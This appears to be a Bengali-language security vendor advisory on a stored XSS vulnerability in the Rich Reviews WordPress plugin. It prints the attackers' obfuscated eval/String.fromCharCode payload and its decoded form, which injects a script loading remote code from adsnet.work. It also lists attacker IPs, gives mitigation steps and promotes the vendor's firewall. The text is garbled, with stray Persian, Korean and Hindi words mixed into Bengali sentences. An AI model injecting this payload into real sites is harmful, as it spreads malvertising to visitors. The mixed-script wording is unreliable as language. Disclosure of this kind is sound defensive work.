রিচ রিভিউজ প্লাগইনের ভিতরে একটি গভীর XSS লুকসান আবিষ্কৃত হয়েছে। অনুমান করা হচ্ছে প্লাগইন রিচ রিভিউজের ১৬,০০০+ সক্রিয় ডাউনলোড রয়েছে। এমনকি ক্রিটিক্যাল হওয়া সত্ত্বেও, লুকসানের আবিষ্কার আশ্চর্য করার বিষয় নয়, কারণ প্লাগইনটি দুবছরের বেশি সময় ধরে আপডেট نشده।
সত্যিই, রিচ রিভিউজটি ১১ মার্চ, ২০১৯-এ (ছয় মাস আগে) ওয়ার্ডপ্রেস প্লাগইন ডিরেক্টরি থেকে সরানো হয়েছে। আরও, প্রভাবিত ভার্সনগুলো হলো ১.৭.৪ এবং তার আগের موارد। আশ্চর্যের ব্যাপার, এখন পর্যন্ত কোনো প্যাচ রিলিজের সংবাদ নেই।
রিচ রিভিউজ লুকসানের বিবরণ
লুকসানটি একটি স্টোরড XSS হিসেবে চিহ্নিত করা হয়েছে। এর কারণে, প্লাগইন ইনস্টল করা যেকোনো ওয়ার্ডপ্রেস সাইটে যেকোনো অননুমোদিত ব্যবহারকারী প্লাগইন অপশন আপডেট এক্সপ্লয়িট করতে পারে।
এখন পর্যন্ত, এক্সপ্লয়েটটি ম্যালভার্টাইজিংর রূপে সামনে এসেছে। হ্যাকাররা লুকসানটি 이용하여 ওয়েবসাইটগুলিতে ক্ষতিকর কোড ইনজেক্ট করছে, যা একটি পপ-আপ বা একটি ক্ষতিকর বিজ্ঞাপন ট্রিগার করে। এই বিজ্ঞাপন এবং পপ-আপগুলো আরও আপত্তিকর এবং অশ্লীল সাইটগুলিতে রিডাইরেক্ট করে।
টেকনিক্যাল বিবরণ
হামলার মূল কারণ হলো প্লাগইনে অ্যাক্সেস কন্ট্রোলের অভাব। এর পাশাপাশি, স্যানিটাইজেশন নিয়মগুলোরাও অথার্থ।
রিডাইরেক্টিং বিজ্ঞাপন এবং পপ-আপ ট্রিগার করার ক্ষতিকর কোডটি নিচে দেওয়া হয়েছে। লক্ষ্য করুন যে হ্যাকারটি স্মার্টলি কোডটি অবফাসকেট করেছে সনাক্তকরণ এড়াতে।
eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));
উপরের কোডটি ডिअবফাসকেট করলে এভাবে দেখায়:
var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);
হ্যাকাররা চিহ্নিত
নিচের IP ঠিকানাগুলোর অধিকাংশ হামলার সাথে লিঙ্ক রয়েছে:
- 94.229.170.38
- 183.90.250.26
- 69.27.116.3
পাশাপাশি, একটি ডোমেন নামও চিহ্নিত করা হয়েছে। সেটি হলো adsnet.work। এই IP-গুলো থেকে যেকোনো লগইন অটেমপ্ট নিয়ে সতর্ক থাকুন। আরও ভালো হবে সেগুলো আপনার ওয়েবসাইটে পৌঁছানোর আগে ही ব্লক করে দেওয়া।
সংক্রমণ দূর করুন
যদি আপনি দুর্ভাগ্যবশ আক্রমণের শিকার হন, তো চিন্তা করবেন না। এস্ট্রা সিকিউরিটি এক্সপার্টদের সাথে যোগাযোগ করুন, আমরা সব কিছু ঠিক করে দিব যাতে আপনি চিন্তামুক্ত থাকতে পারেন।
ঝুঁকি শमन কৌশল
যারা এখনো সংক্রমিত হয়নি, তারা সময় থাকাকালীন সতর্কতা অবলম্বন করুন। এখানে কিছু কানুন দেওয়া হলো যা আপনাকে সংক্রমণ থেকে রক্ষা করতে সাহায্য করবে।
প্লাগইনটি সরান
যেহেতু প্লাগইনটি WP ডিরেক্টরি থেকে প্রত্যাহার করা হয়েছে, ডেভেলপার আপডেটেড ভার্সন বিতরণ করতে পারবেন না। আমরা পরামর্শ দিই যে আপনি অবিলম্বে প্লাগইনটি সরিয়ে দিন নিরাপত্তা নিশ্চিত করতে। ডেভেলপারও যেকোনো সময় প্যাচ রিলিজ করার ইচ্ছা দেখিয়েছেন না।
ফায়ারওয়াল দিয়ে সুরক্ষা করুন
প্লাগইনটি সরিয়ে দিলে, যেকোনো অনুরূপ আক্রমণ থেকে রক্ষা পেতে ফায়ারওয়াল ব্যবহার করুন। ওয়ার্ডপ্রেসের জন্য এস্ট্রা ফায়ারওয়াল একটি দক্ষ বিকল্প। এটি XSS, CSRF, SQLi, খারাপ বট, LFI, RFI, OWASP টপ ১০ এবং ১০০+ অন্যান্য সাইবার আক্রমণ আপনার ওয়েবসাইটকে প্রভাবিত হতে থেকে ব্লক করে।
আমাকে আমার ওয়েবসাইট সুরক্ষিত করতে সাহায্য করুন।
